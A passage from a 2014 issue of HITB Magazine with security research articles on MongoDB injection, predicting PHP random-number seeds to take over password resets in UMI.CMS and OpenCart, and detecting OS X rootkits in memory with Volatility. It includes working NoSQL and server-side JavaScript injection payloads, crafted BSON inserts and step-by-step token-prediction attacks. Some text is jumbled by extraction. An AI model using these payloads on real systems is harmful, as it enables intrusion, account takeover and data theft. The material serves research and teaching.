2. An administrator opens the web interface in a browser, and the JS code gets executed in this browser.
3. Request command execution from the remote server via the JSONP script.
4. The script performs the command using undocumented SSJS code execution.
5. The result is sent to our remote host, where it is written to a log.
Figure 4: Attack scheme
decided to take a close look at these drivers for MongoDB and chose a driver for PHP.
Suppose there is a completely configured server with Apache+PHP+MongoDB and a
vulnerable script.
The main fragments of this script are as follows:
$q = array("name" => $_GET['login'], "password" => $_
GET['password']);
$cursor = $collection->findOne($q);
The script makes a request to the MongoDB database when the data has been received. If the data is correct, then it receives an array with the user's data output. It
looks as follows:
echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];
Suppose the following parameters have been sent to it (True):
?login=admin&password=pa77w0rd
then the request to the database will look as follows:
As to undocumented SSJS code execution, I've written a template, which can be modified as may seem necessary.
http://vuln-host:28017/admin/$cmd/?filter_eval=function(){
turn db.version() }&limit=1
re-
Due to the fact that the database contains the user admin with the password pa77w0rd, then its data is output as a response (True). If another name or password is used,
then the response will return nothing (False).
db.items.find({"name" :{$ne : "admin"}})
I think you already have ideas how to deceive this construction. PHP only requires
another array to put it into the other one, which is sent by the function findOne.
Let's proceed from theory to practice. At first, create a request, which sample will
comply with the following conditions: password is not 1 and user is admin.
db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
Information about the above mentioned account comes as a response:
Playing with a Driver
BIt is well known that it is necessary to have a driver, which will serve as transport,
to work with any significant database written in a script language, for instance PHP. I
44 HITB | Issue 10 | january 2014
{
"_id" : ObjectId("4fda5559e5afdc4e22000000"),
"name" : "admin",
Database Security
There are conditions in MongoDB similar to the common where except for few differences in syntax. Thus it is necessary to write the following to output records, which
names are not admin, from the table items:
$cmd is an undocumented function in this example, and we know it already? :)
Figure 5: Undocumented features
db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
january 2014 | Issue 10 | HITB 45
Database Security
}
"password" : "pa77w0rd"
Everything works properly. There is another way to exploit such flaws: use of the
$type operator:
?login[$not][$type]=1&password[$not][$type]=1
It will look as follows in PHP:
The output will be the following in this case:
$q = array("name" => "admin", "password" => array("\$ne" => "1"));
It is only needed to declare the variable password as an array for exploitation:
?login=admin&password[$ne]=1
Consequently, the admin data is output (True). This problem can be solved by the
function is_array() and by bringing input arguments to the string type.
Mind that regular expressions can and should be used in such functions as findOne()
and find(). $regex exists for this purpose. An example of use:
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice
This algorithm suits both find() and findOne()..
db.items.find({name: {$regex: "^y"}})
Injection into SSJS Requests
This request will find all records, which name starts with the letter y.
TAnother vulnerability typical of MongoDB and PHP if used together is related to injection of your data to a SSJS request made to a server.
Suppose the following request to the database is used in the script:
$cursor1 = $collection->find(array("login"
"pass" => $pass));
=>
$user,
The data received from the database is displayed on the page with the help of the
following construction:
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login']
.'<br>pass: '. $obj2['pass'] . '<br>';
I'll use code to exemplify it. Assume that INSERT looks as follows:
$q = "function() { var loginn = '$login'; var passs = '$pass';
db.members.insert({id : 2, login : loginn, pass : passs}); }";
An important condition is that the variables $pass and $login are taken directly from
the array $_GET and are not filtered (yes, it's an obvious fail, but it's very common):
$login = $_GET['login'];
$pass = $_GET['password'];
?login[$regex]=^&password[$regex]=^
We'll receive the following in response:
Below is the code, which performs this request and outputs data from the database:
$db->execute($q);
$cursor1 = $collection->find(array("id" => 2));
foreach($cursor1 as $obj2){
echo "Your login:".$obj2['login'];
echo "<br>Your password:".$obj2['pass'];
}
46 HITB | Issue 10 | january 2014
id: 1
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice=
The test script is ready, the next is practice. Send test data:
?login=user&password=password
Database Security
A regular expression can help us receive all the database data. It is only needed to
work with the types of variables transferred to the script:
Suppose we have vulnerable code, which registers user data in the database and
then outputs values from certain fields in the course of operation. Let it be the simplest guestbook.
january 2014 | Issue 10 | HITB 47
Database Security
Receive the following data in response:
Your login: user
Your password: password
Let's try to exploit the vulnerability, which presupposes that data sent to a parameter
is not filtered or verified. Let's start with the simplest, namely with quotation marks:
?login=user&password=';
Another page is displayed, SSJS code has not been executed because of an error.
However, everything will change if the following data is sent:
/?login=user&password=1'; var a = '1
Excellent. But how to receive the output now? It's easy: you only need to rewrite
the variable, for instance login, and the result of our code execution displaying the
output will get to the database! It looks as follows:
?login=user&password=1'; var loginn = db.version(); var b='
Of course, it may happen that there will be no output, then it will be needed to use
a time-based technique, which is based on a server response delay depending on a
condition (true/false), to receive data. Here is an example:
?login=user&password='; if (db.version()
sleep(10000); exit; } var loginn =1; var b='2
The first thing we want is to read other records. A simple request is at help:
/?login=user&password= '; var loginn = tojson(db.members.
find()[0]); var b='2
For better understanding, let's consider this request in detail:
1. A known construction is used to rewrite a variable and execute arbitrary code.
2. The tojson() function helps receive a complete response from the database.
Without this function we would receive Array.
3. The most important part is db.members.find()[0], where members are a table
and find() is a function that outputs all records. The array at the end means a
number of the record we address to. Brute forcing this array values, we receive
records from the database.
48 HITB | Issue 10 | january 2014
{
Almost the same will happen with other programming languages. So if we are able to
transfer an array to a request, then NoSQL Injection based on logic or regular expressions won't take any long.
Traffic Sniffing
It is well known that MongoDB allows creating users for a specific database. Information about users in databases is stored in the table db.system.users. We are mostly
interested in the fields user and pwd of the above mentioned table. The user column
contains a user login, pwd - MD5 string ?%login%:mongo:%password%?, where login
and password are the login and hash of the login, key, and user password.
Figure 7: Creating a user in the database
All data is transferred unencrypted and packet hijacking allows obtaining specific
data necessary to receive user's name and password. It is needed to hijack nonce,
login, and key sent by a client when authorizing on the MongoDB server. Key contains an MD5 string of the following form: %nonce% + %login% + md5(%login% +
":mongo:" + %passwod%).
It is obvious that it will be no trouble to write software, which will automatically
hijack and brute force a login and password basing on the hijacked data. You don't
know how to capture data, do you? Start studying ARP Spoofing.
BSON Vulnerabilities
Let's move further and consider another type of vulnerabilities based on wrong parsing of a BSON object transferred in a request to a database.
A few words about BSON at first. BSON (Binary JavaScript Object Notation) is a computer data interchange format used mainly as a storage of various data (Bool, int,
string, and etc.). Assume there is a table with two records:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :
Database Security
$q = ?function() { var loginn = user; var passs = '1'; var
loginn = db.version(); var b=''; db.members.insert({id : 2, login : loginn, pass : passs}); }?
"2")
This request allows us to know the database version. If it's more than 2 (for instance,
2.0.4), then our code will be executed and the server will response with a delay.
Figure 6: Result of SSJS Code Injection
To make it clearer, JS code takes the following form:
>
january 2014 | Issue 10 | HITB 49
Database Security
"admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :
"noadmin", "isadmin" : false }
And a database request, which can be injected:
>db.test.insert({ "name" : "noadmin2", "isadmin" : false})
Just insert a crafted BSON object to the column name:
>db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\
x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
0x08 before isadmin specifies that the data type is boolean and 0x01 sets the object
value as true instead of false assigned by default. The point is that, dealing with
variable types, it is possible to rewrite data rendered automatically with a request.
Now let's see what there is in the table:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :
"admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :
"noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" :
null, "isadmin" : true, "isadmin" : true }
Let's consider a vulnerability in the BSON parser, which allows reading arbitrary storage areas. Due to incorrect parsing of the length of a BSON document in the column
name in the insert command, MongoDB makes it possible to insert a record that will
contain a Base64 encrypted storage area of the database server. Let's put it into
practice as usual.
Suppose we have a table named dropme and enough privileges to write in it. We send
the following command and receive the result:
>
db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\x00\
x00\x00world\x00\x00" : "world"})
> db.dropme.find()
{ "_id" : ObjectId("50857a4663944834b98eb4cc"), "" : null,
"hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkRAA
AAAAAAAAAAWbcQAAAAMQAAAAEAAABgcicICAAAAAcAAACgKo0JABw5NAMAA
AAAAAAAAAAAAMQ3jAlmAGkAQQAAAEIAaQBuAEQAYQB0AGEAKAAxADEAOQAsACIAYgAzAEoAcwBaAEEAQQBBAEEAQQBBAD0AIgApAAAAdABSAFEAAAAiAGgAZQBsAGwAbwAiACAAOgAgAEIAaQBuAEQAYQB0AGEAKAAxADEAOQA sAC...........................ACkALAAgACIAFg==") }
It happens because the length of the BSON object is incorrect - 0x010 instead of 0x01.
When Base64 code is decrypted, we receive bytes of random server storage areas.
Figure 9: Magic BSON
False has been successfully changed into true!
Figure 8: Capturing authorization data
Database Security
50 HITB | Issue 10 | january 2014
january 2014 | Issue 10 | HITB 51
Database Security
Figure 10: Memory Leakage
Useful MongoDB Functions
I cannot help writing about useful MongoDB functions:
db.version() - to receive a MongoDB version
db.getCollectionNames() - to receive all tables
db.getName() - the name of a current database (also just db)
db.members.count() - a number of records in the table members
db.members.validate({ full : true}) - main information about the table members
db.members.stats() - almost the same as the previous one but shorter
db.members.remove() - to clear the table members, the same syntax as in case of the
function find()
db.members.find().skip(0).limit(1) - another method to receive a record Just brute force the
skip value.
Figure 11: Memory Leakage 2
Sure enough, you can come across the above described attacks and vulnerabilities in a
real life. I've been there. You should think not only about secure code running in MongoDB, but about vulnerabilities of the DBMS itself. Studying each case in detail, think
over the idea that NoSQL databases are not as secure as it is believed. Stay tuned! ¶
52 HITB | Issue 10 | january 2014
Database Security
Conclusion
january 2014 | Issue 10 | HITB 53
Random Numbers.
Take Two
New Techniques to Attack Pseudorandom
Number Generators in PHP
Arseny Reutov, Timur Yunusov, Dmitry Nagibin
S
peaking of languages with insecure approach to pseudorandom value
generation, PHP is the first to come about. The first incident with random
numbers in PHP took place more than five years ago, however, anything
has hardly changed since that time. And the latest researches together
with developers unwilling to change anything compromise practically every web
application that uses default interpreter tools. This article touches upon new
methods of attacks on pseudorandom number generators in PHP basing on wellknown web applications.
New Process Creation
One of the new techniques is when an attacker creates new processes with a newly
initialized PRNG state, which provides effective seed search. Before studying the
new method, it is necessary to understand the peculiarities of PHP and Apache
interaction.
A web server can use any of multi-processing modules (MPM): it is usually either mpmprefork or mpm-worker. The prefork module functions as follows: some web server
processes are created beforehand and each connection to a web server is handled
by one of these processes. Apache handles requests not in individual processes but
in threads within a process in the mpm-worker mode. Leaping ahead, it is needed
to say that a thread identifier on *nix can have 2^32 values, which makes PHPSESSID
brute-force hardly feasible. However, in the majority of cases an attacker has to
54 HITB | Issue 10 | january 2014
Application Security
Problems of web applications in PHP related to generation of pseudorandom numbers
were known quite a long time ago. Already in 2008 Stefan Esser (http://www.suspekt.
org/2008/08/17/mt_srand-and-not-so-random-numbers/) specified the flaws of
the manual initialization of a random number generator and described the general
algorithm of attacks via keep-alive HTTP requests. If at that time all the vulnerabilities
related to predicting various tokens including password recovery could be written off
to web applications due to incorrect PHP use and leakage of the data related to the
PRNG state, then the flaws of the interpreter itself started to appear with time. In
2010 Milen Rangelov introduced PoC (http://seclists.org/bugtraq/2010/Jan/214) to
create rainbow tables allowing seed searching through the whole range of possible
values (2^32). In other words, if you have code, which, for instance, generates
a password randomly, it is possible to generate tables beforehand and use them to
search the seed of a specific web application in PHP quickly. Samy Kamkar specified
the PHP problems related to session identifier generation (http://media.blackhat.
com/bh-us-10/whitepapers/Kamkar/BlackHat-USA-2010-Kamkar-How-I-Met-YourGirlfriend-wp.pdf) for the first time at the BlackHat conference six months later.
George Argyros and Aggelos Kiayias, cryptography experts from Greece, presented
a work, in which they thoroughly analyzed generation of pseudorandom numbers
in PHP and introduced new methods and techniques for attacking web applications
(http://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdf)
at
the same conference in summer 2012. They also spoke about PHPSESSID brute-force
aimed at obtaining data on the state of PRNG entropy sources in PHP, however, their
work lacked practical implementation. We have decided to study all the theory, carry
out researches, and create necessary tools. New insights into old problems allowed
detecting vulnerabilities in the latest versions of such products as OpenCart, DataLife
Engine, UMI.CMS. Let's consider the main techniques providing new attack vectors.
january 2014 | Issue 10 | HITB 55
Application Security
deal with mpm-prefork and mod_php used together in Apache. This configuration
ensures the same process to handle keep-alive requests, that is with the same PRNG
state. A new interpreter process with newly initialized generator states is created
for each request in the PHP-CGI mode.
Stefan Esser in the above mentioned work offered to use radical methods to obtain
new processes with fresh seeds, namely to crash a web server with the help of
multiple nested GET, POST, and Cookie parameters. George Argyros and Aggelos
Kiayias offered a more humane method. An attacker creates a large number of
keep-alive connections trying to load all the processes of a web server. An attacker
needs to send a targeted request when Apache runs out of free processes and starts
creating new ones.
Time Synchronization
Microsecondsare one of the entropy sources for PHPSESSID generation. It is commonly
known that a web server adds the header Date, via which it is possible to know the
time of the request completion up to seconds, prior to response sending. Though an
attacker does not know microseconds, the following technique can help to decrease
the range of possible values:
1. Wait for nullification of microseconds on the client (msec=0), then set delta delay
(delta=0).
2. Send the first request and wait for the response, register the server time with the
header Date (T1) and microseconds on the client (msec=m1).
3. Immediately send the second request and wait for the response, register the
server time (T2) and microseconds on the client (msec=m2).
4. If the time remains unchanged (T2 - T1 = 0), then add the value < (m2-m1)/2 to
delta (the smaller delta, the better) and return to step 1.
5. If delta is the same and seconds change permanently (T2 - T1 = 1), then we've
managed to make microseconds zero out between requests.
It is evident that the more time passes since the request is sent up to the moment
when the response is received, the bigger the microsecond interval is.
Request Twins
This technique presupposes successive sending of two requests aimed at the
smallest time difference between them. It is implied that an attacker can learn the
microseconds from the first request (for instance, performing password reset for the
target user's account). Sending the first request and defining the microsecond value
at the moment of its processing, we can decrease the microsecond interval of the
second request.
Vladimir Vorontsov (@d0znpp) offered to send triple requests, in which an attacker
knows the microseconds of the first and the second ones. In this case, the microsecond
range of the second request will be limited by the known values.
PHPSESSID brute-force
Samy Kamkar considered PHPSESSID brute-force from the point of view of the
existence of such possibility as it is in his work mentioned above. The research of
the cryptography experts from Greece showed that the brute-force process can be
optimized, and the obtained information can be used to predict PRNG seeds in PHP.
Let's view the PHPSESSID generation code:
spprintf(&buf, 0, "%.15s%ld%ld%0.8F", remote_addr ? remote_addr
:
"",
tv.tv_sec,
(long
int)tv.tv_usec,
php_combined_lcg(TSRMLS_C) * 10);
The example of the source string looks as follows:
127.0.0.11351346648192088.00206033
It includes the following components:
• 127.0.0.1 – client's IP
• 135134664 – timestamp
• 819208 – microseconds (m1)
• 8.00206033 – Linear Congruential Generator (LCG)output
When php_combined_lcg is called in a fresh process, PHP initializes LCG:
LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
…
LCG(s2) = (long) getpid();
…
/* Add entropy to s2 by calling gettimeofday() again */
LCG(s2) ^= (tv.tv_usec<<11);
56 HITB | Issue 10 | january 2014
Application Security
According to the algorithm described above, the microseconds of the second request
are in interval [0;(m2-m1)/2].
As the web server adds the header Date right after the request is processed, an
attacker needs to decrease the process time of the first request as much as possible.
For this a non-existent page is requested, as a result of which the starting time of
the request processing almost coincides with the time in the Date header.The second
request is targeted — a new session in a fresh process should be created right there.
january 2014 | Issue 10 | HITB 57
Application Security
The same timestamp, current process identifier (2^15 possible values), and two new
microseconds values (m2 and m3) participate in generation of seeds s1 and s2.
An attacker knows IP and timestamp, so the following values are left:
• Microseconds m1 (10^6 values).
• The difference between the second and the first time measurements (m2-m1),
besides it does not exceed 4 microseconds on the majority of systems.
• The difference between the third and the second time measurements (m3-m2),
besides it does not exceed 3 microseconds.
• Process ID (32768 values).
PHPSESSID can be the md5 or sha1 hash, but usually it is the first variant. The hash
format can also depend on the PHP configuration directive session.hash_bits_per_
character, which converts ID in a specific way. However, it is not difficult to restore
an original hash, because all the operations are reversible.
It should be noted that external entropy sources including /dev/urandom are used
by default in PHP 5.4+ when sessions are generated. Fortunately, now web servers
hardly use the new PHP branch.
There are methods, which can assist in PHPSESSID brute-force. For example, if mod_
status is set on a target web server, then it is possible to obtain IDs of the running
Apache processes if one requests /server-status. And if an attacker manages to find
phpinfo, then not only pid but the microseconds value as well can be retrieved from
the variable UNIQUE_ID, which is set for the request ID by the Apache module mod_
unique_id. Vladimir Vorontsov has created the online decoder UNIQUE_ID available
here: https://dev.onsec.ru/rands/.
In case of successful PHPSESSID brute-force, an attacker obtains information that
allows receiving s1 and s2 of LCG, so they can predict all other values. And what is
more important is that all the data on the seed used for Mersenne Twister initialization
becomes available:
#else
58 HITB | Issue 10 | january 2014
Moreover, the outputs of such functions as rand(), shuffle(), array_rand(), and etc.
become predictable.
Hacking UMI.CMS
UMI.CMS v. 2.8.5.3 is a wonderful platform for attacking PHPSESSID (the vulnerability
has been fixed). The following function generates a token for password reset:
function getRandomPassword ($length = 12) {
$avLetters = "$#@^&!1234567890qwertyuiopasdfghjklzxcvbn
mQWERTYUIOPASDFGHJKLZXCVBNM";
$size = strlen($avLetters);
$npass = "";
for($i = 0; $i < $length; $i++) {
$c = rand(0, $size - 1);
$npass .= $avLetters[$c];
}
return $npass;
}
The password can be reset right after generation of a new session by sending the request:
POST http://host/umi/users/forget_do/
...
choose_forget=on&forget_login=admin
The administrator's login is only needed.
Having received PHPSESSID in the fresh process, find out LCG seeds s1 and s2 and the
process ID. In case of successful brute-force, repeat the operations carried out on
the server for the generation of the password reset token:
• Initialize LCG by seeds s1 and s2.
• Reference LCG several times (the number may depend on the interpreter's
version, but usually this number is three).
• Call GENERATE_SEED specifying timestamp known to an attacker, the process
ID, and the fourth reference to the LCG, initialize Mersenne Twister with the
obtained seed.
•
Call getRandomPassword(), which will return the token, and go to
http://host/umi/users/restore/md5(token)
If all these operations are correctly carried out, then the administrator's account
will receive a new password known to us.
#ifdef PHP_WIN32
#define
GENERATE_SEED()
GetCurrentProcessId()))
^
php_combined_lcg(TSRMLS_C))))
#endif
(((long)
((long)
(time(0)
(1000000.0
*
*
Attacking OpenCart
The peculiar feature of the initialization mechanism of the pseudorandom number
generator for rand() and mt_rand() in PHP is that the macros GENERATE_SEED uses
the LCG output as an entropy source.
Application Security
PHPSESSID brute-force obviously needs a special tool, as standard tools won't be able
to help in this case. That is why we've decided to develop our own solution. It resulted
in the program PHPSESSID Bruteforcer, which showed impressive results in practice.
The main advantage of the tool is high speed, which is achieved by transferring
calculations on GPU. We've managed to increase the speed up to 1.2 billion hashes
per a second on a single CUDA-enabled GPU instance of the Amazon service, which
allows brute-forcing the whole range of values within 7.5 minutes. Besides the
software supports distributed computing with a smart load balancer. Incredibly high
speed can be achieved by connecting several computers with a GPU.
#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ ((long)
(1000000.0 * php_combined_lcg(TSRMLS_C))))
january 2014 | Issue 10 | HITB 59
Application Security
Can the LCG use in this case be considered secure? To answer this question, imagine
a web application that uses two PRNGs simultaneously: LCG and Mersenne Twister.
If an attacker manages to obtain the seed of at least one of the generators, then
they will be able to predict the other one. OpenCart v. 1.5.4.1 (the latest version
at the moment) is an example of such a web application. It includes the following
code, which task is to generate a secure token to restore the administrator's
password:
$code = sha1(uniqid(mt_rand(), true));
By the way, the previous versions used a very simple code:
$code = md5(mt_rand());
So there are three entropy sources in this case:
• mt_rand – a number with 2^32 possible values.
• uniqid – timestamp known to the attacker via the header Date and microtime
(10^6 possible values) in the hex format.
• lcg_value – LCG output with the second argument when uniqid is referenced.
We have the following string in the end:
924968175087b4c6968487.41222311
It seems impossible to brute-force the sha1 hash, but OpenCart provides an amazing
gift — leakage of the Mersenne Twister state in the CSRF token:
$this->session->data['token'] = md5(mt_rand());
So the attack algorithm includes the following steps:
1. An attacker forces a web server to create new processes with fresh seeds by
sending a large number of keep-alive requests.
2. Three keep-alive requests are sent at the same time: the first one to receive the
md5 token, the second – to reset the attacker's password, and the third – to reset
the administrator's password.
3. The token is decrypted, the number is used to search the seed.
60 HITB | Issue 10 | january 2014
We can specify several problems, which can appear, if attacks are conducted in real
systems: difficulties in creation of new processes for obtaining a fresh MT seed, a
long delay in processing password reset requests, and LCG call shift on different
PHP versions. As to the last one, the thing is that PHP calls php_combined_lcg() for
its own internal needs, for instance, for PHPSESSID generation, that is why, prior
to attacking, it is necessary to know the PHP version and locally define, which LCG
call is used to generate a code to restore the attacker's password and which — the
administrator's one. For example, they are the 5th and the 8th calls respectively
for PHP 5.3.17.
A brute-forcer for LCG seeds on CUDA was created for such attacks. It allows bruteforcing the whole range of values in less than half a minute.
Conclusion
The way the interpreter's developers react on new attacks against PRNG in PHP is very
strange. Our continuous interaction has resulted only in a promise to add a notice to
the documentation that it is not secure to use mt_rand() for cryptographic purposes.
However, the documentation has hardly changed since that time (several months
passed). We can only recommend the developers of web applications in PHP not to
rely on the documentation and to use right methods, for example, the function from
the experts from Greece (https://github.com/GeorgeArgyros/Secure-randombytes-in-PHP). Have your entropy secured! ¶
Application Security
It is evident that we can brute-force the 2^32 md5 hash quite quickly. Having this
number, we can calculate the seed, more correctly the seeds, because there are
collisions. Utilities for seed obtaining that are known at the moment are as follows:
• php_mt_seed from Solar Designer uses CPU, but with the help of the SSE
instructions covers the whole range in less than a minute (http://download.
openwall.net/pub/projects/php_mt_seed/).
• pyphp_rand_ocl from Gifts supports both CPU and GPU, finishes its task in ~70
and ~20 seconds respectively (https://github.com/Gifts/pyphp_rand_ocl).
• mt_rand from ont uses CUDA, besides it allows finding a seed if random value
output is incomplete (https://bitbucket.org/ont/mt_rand).
• Snowflake from George Argyros is a framework for creation of exploits ensuring
attacks against random numbers (https://github.com/GeorgeArgyros/
Snowflake/).
4. Having the Mersenne Twister seed and some collisions, an attacker brute-forces
two LCG seeds. For this, he or she brute-forces the range of the process IDs
(1024-32768), microtime (10^6 values), and delta between the first and the
second time measurements. As it's already been said, in the majority of cases
the difference between these measurements is no more than 3 microseconds,
that is why this action hardly has any sense.
5. Having obtained several possible LCG seeds (usually no more than 100), the
attacker brute-forces the sha1 token to restore their own password. There
shouldn't be any problems, even though only the first 10 characters of the
hash are known, because the software PasswordsPro, which copes even with
incomplete hashes, has been created for such cases. This brute-force attack is
aimed at obtaining the microseconds value and the MT and LCG seeds.
6. Due to the fact that the requests were sent one by one, the difference in the
microseconds between the requests to restore the attacker's and administrator's
passwords was very small. You only need to find the necessary microtime value
having the MT and LCG seeds.
january 2014 | Issue 10 | HITB 61
T
he OS X Kernel has been increasingly targeted by malicious players due
to the shrinking attack surface. Currently there are tools that perform
rudimentary detection for OS X rootkits, such as executable replacement
or direct function interception (e.g. the Rubilyn rootkit). Advanced rootkits
will more likely perform harder to detect modifications, such as function inlining,
shadow syscall tables, and DTrace hooks. In this presentation I will be exploring how
to attack the OS X syscall table and other kernel functions with these techniques and
how to detect these modifications in memory using the Volatility Framework. The
presentation will include demonstrations of system manipulation on a live system
and the following detection using the new Volatility Framework plugin.
INTRODUCTION
A. Rootkits and OS X
OS X is an operating system (OS) composed of the Mach microkernel and the FreeBSD
monolithic kernel. This paper will discuss the manipulation of both sides of the OS
and techniques to detect these changes in memory using the Volatility Framework.
The rootkit techniques that apply to the FreeBSD side of the OS are well known and
documented by Kong1. Miller and Dai Zovi also discuss rootkits that apply to the
Mach side of OS2. The usage of DTrace as a rootkit in OS X was recently shown by
Archibald3. Vilaca also has depicted the increase in OS X malware complexity4 and
more advanced kernel rootkits5.
The research mentioned above is only a small fraction of the increased attention
paid to OS X malware development and shows the urgency to develop more in depth
defensive techniques, which is the goal of this paper.
B. The Volatility Framework
Hunting for OS X
Rootkits in Memory
Cem Gurkok, [email protected]
62 HITB | Issue 10 | December 2013
c. The XNU Kernel
The Mac OS X kernel (XNU) is an operating system kernel of mixed ancestry, blending
the Mach microkernel with the more modern FreeBSD monolithic kernel. The Mach
microkernel chains a powerful abstraction, Mach message-­‐based interprocess
communication (IPC) with cooperating servers to create the core of the operating
system. The Mach microkernel manages separate tasks that consist of multiple
threads. Each task runs within its own address space.
XNU utilizes the Mach-­‐O file format, as seen in Figure 1, to store programs and
libraries on disk in the Mac app binary interface (ABI). Mach-­‐O file contains three
major regions: header, load commands, segments. The header identifies the file
and provides information about target architecture and how the file needs to be
interpreted. Load commands specify the layout and linkage characteristics of the
file, which includes layout of the virtual memory, location of the symbol table
Application Security
The Volatility Framework (Volatility) is an open collection of tools, implemented in
Python under the GNU General Public License, for the extraction of digital artifacts
from volatile memory (RAM) samples. The extraction techniques are performed
independent of the system being investigated and they offer visibility into the
runtime state of the system. Volatility supports 38 versions of Mac OS X memory
dumps from 10.5 to 10.8.3 Mountain Lion, both 32– and 64–bit.
january 2014 | Issue 10 | HITB 63
Application Security
(holds information needed to locate and
relocate a program's symbolic definitions
and references, such as functions and data
structures) that is used for dynamic linking,
initial execution state of the main thread,
and names of shared libraries. The segment
region contains sections of data or code.
Each segment contains information about
how the dynamic linker maps the region of
virtual memory to the address space of the
process. These structures are of interest since
they store the symbols table and will serve as
targets for the injected code. The Volatility
Framework comes
FIGURE 1: Mach-­‐O format
'real_descriptor64' (16 bytes)
0x0 : base_low16 ['BitField', {'end_bit':
0x0 : limit_low16 ['BitField', {'end_bit':
0x4 : access8 ['BitField', {'end_bit':
0x4 : base_high8 ['BitField', {'end_bit':
0x4 : base_med8 ['BitField', {'end_bit':
0x4 : granularity4 ['BitField', {'end_bit':
0x4 : limit_high4 ['BitField', {'end_bit':
0x8 : base_top32 ['unsigned int']
0xc : reserved32 ['unsigned int']
The XNU kernel utilizes sysenter/syscall table to transition between user and kernel
land, which is one of the components of interest in this paper. Generally speaking,
the syscall table is an array of function pointers. In UNIX, a system call is part of a
defined list of functions that permit a userland process to interact with the kernel.
A user process uses a system call to request the kernel to perform operations on
its behalf. In XNU, the syscall table is known as "sysent", and is no longer a public
symbol, to prevent actions like syscall hooking. The list of entries is defined in the
syscall.masters file within the XNU source code. Table 1 shows the structure of a
sysent entry as represented by Volatility.
TABLE 1: A Sysent entry as represented by Volatility
(40 bytes)
: sy_narg : sy_resv : sy_flags : sy_call : sy_arg_munge32 : sy_arg_munge64 : sy_return_type : sy_arg_bytes ['short']
['signed char']
['signed char']
['pointer', ['void']]
['pointer', ['void']]
['pointer', ['void']]
['int']
['unsigned short']
XNU also utilizes the interrupt descriptor table (IDT) to associate each interrupt
or exception identifier (handler) with a descriptor (vector) for the instructions
that service the associated event. An interrupt is usually defined as an event
that alters the sequence of instructions executed by a processor. Each interrupt
or exception is identified by a number between 0 and 255. Interrupt 0x30 is set
up to be the syscall gate. IDT can contain Interrupt Gates, Task Gates and Trap
Gates. Table 2 shows 64 bit structs of a descriptor and a gate as represented by
the Volatility Framework.
D. The XNU Kernel
DTrace is generally considered a dynamic tracing framework that is used for
troubleshooting system issues in real time. It offers various probes, such as fbt
(function boundary tracing) and syscall providers, to obtain information about the
OS. In OS X, DTrace is compiled inside the kernel instead of being a separate kernel
module.
64 HITB | Issue 10 | january 2014
'real_gate64' (16 bytes)
0x0 : offset_low16 0x0 : selector16 0x4 : IST 0x4 : access8 0x4 : offset_high16 0x4 : zeroes5 [
0x8 : offset_top32 0xc : reserved32 32, 'start_bit': 16}]
16, 'start_bit': 0}]
16, 'start_bit': 8}]
32, 'start_bit': 24}]
8, 'start_bit': 0}]
24, 'start_bit': 20}]
20, 'start_bit': 16}]
['BitField', {'end_bit': 16, 'start_bit': 0}]
['BitField', {'end_bit': 32, 'start_bit': 16}]
['BitField', {'end_bit': 3, 'start_bit': 0}]
['BitField', {'end_bit': 16, 'start_bit': 8}]
['BitField', {'end_bit': 32, 'start_bit': 16}]
'BitField', {'end_bit': 8, 'start_bit': 3}]
['unsigned int']
['unsigned int']
The fbt provider has probes for almost all kernel functions, and is generally more
useful when monitoring a particular behavior or issue in a specific kernel subsystem.
This provider is very sensitive about OS versions so it requires some knowledge of
OS internals.
The syscall provider, on the other hand, let's a user monitor the entry point into the
kernel from applications in userland and is not very OS specific. While the syscall
provider dynamically rewrites the syscall table, the fbt provider manipulates the
stack to transfer the control to the IDT handler, which transfers the control to the
DTrace probe, which in turn emulates the replaced instruction.
The mach_trap probes fire on entry or return of the specified Mach library function.
E. Rootkit Detection in Memory
To detect rootkits in OS X memory, I utilized the Volatility Framework to build plugins
that analyze the OS kernel components that are targeted and report the changes.
The monitored components include syscall functions and handler, kernel and kernel
extension (kext) symbol table functions, IDT descriptors and handlers, and mach
traps. The check_hooks plugin detects direct syscall table modification, syscall
function inlining, patching of the syscall handler, and hooked functions in kernel and
kext symbols. DTrace hooks are also detected by this plugin. The check_idt plugin
detects modified IDT descriptors and handlers. The code for these plugins can be
found at my github repository7.
OS X ROOTKIT DETECTION
A. Tools and Methods
As a test target I used a live OS X 10.8.3 virtual machine (VM) running under
VMWare. The Volatility Framework is capable of analyzing and modifying the
memory file (vmem) of a VMWare instance. To modify the VM and create the
rootkit behavior, I used Volatility’s mac_volshell plugin with write mode enabled.
mac_volshell provides a Python scripting environment that includes all Volatility
internal functionality for the given memory sample. Volatility can be installed
under Windows, OS X, and Linux systems.
Application Security
'sysent'
0x0 0x2 0x3 0x8 0x10 0x18 0x20 0x24 TABLE 2: IDT descriptor and gates as represented by Volatility
january 2014 | Issue 10 | HITB 65
Application Security
B. DTrace Rootkits
While the idea of using DTrace to perform reverse engineering and detect rootkits
has been around for a while6, it had not been used as a rootkit development platform
till 2013. In his presentation3, Archibald presented techniques to hide files from
the commands ls, lsof, finder, hide processes from the Activity Monitor, ps, top,
capture private keys from ssh sessions, and inject javascript to HTML pages as they
are rendered by Apache using the syscall and mach_trap DTrace providers.
1. Hiding a Directory with DTrace
One of the rootkit techniques employed by Archibald was to use the DTrace syscall
provider to hide directory entries. Table 3 shows the DTrace script used to hide the
third directory entry in the folder “/private/tmp”:
